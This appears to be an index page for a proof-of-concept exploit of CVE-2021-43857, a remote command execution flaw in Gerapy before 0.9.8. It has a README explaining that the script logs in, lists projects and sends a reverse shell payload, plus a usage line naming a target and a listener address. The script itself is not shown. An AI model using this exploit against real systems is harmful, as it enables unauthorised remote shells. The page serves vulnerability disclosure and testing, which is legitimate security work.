CVE-2021-43857 PoC — Gerapy 操作系统命令注入漏洞

Source

Associated Vulnerability

Description

Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

Readme

# CVE-2021-43857
Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
CVE-2021-43857 is a vulnerability marked as Critical priority (CVSS 9.8) leading to remote code execution.</br>
This vulnerability works on all versions prior to 0.9.8.</br>
Tested only on 0.9.6. Needs correct credentials. </br>
Exploit works by logging in to application, then getting the list of created projects (it will fail if there's none), then use the project setting to run the vulnerable _spider_ mechanism by sending reverse shell payload.</br>
</br>

Usage example:
`python3 cve-2021-43857.py -t 172.17.0.2 -p 8000 -L 172.17.0.1 -P 4444`

![Screen](img.PNG)

File Snapshot

 [4.0K]  /data/pocs/d13765f99d95fc0ce3137ecb491d1b7b0eebfe30
├── [4.1K]  cve-2021-43857.py
├── [127K]  img.PNG
├── [1.2K]  LICENSE
└── [ 699]  README.md

0 directories, 4 files

Remarks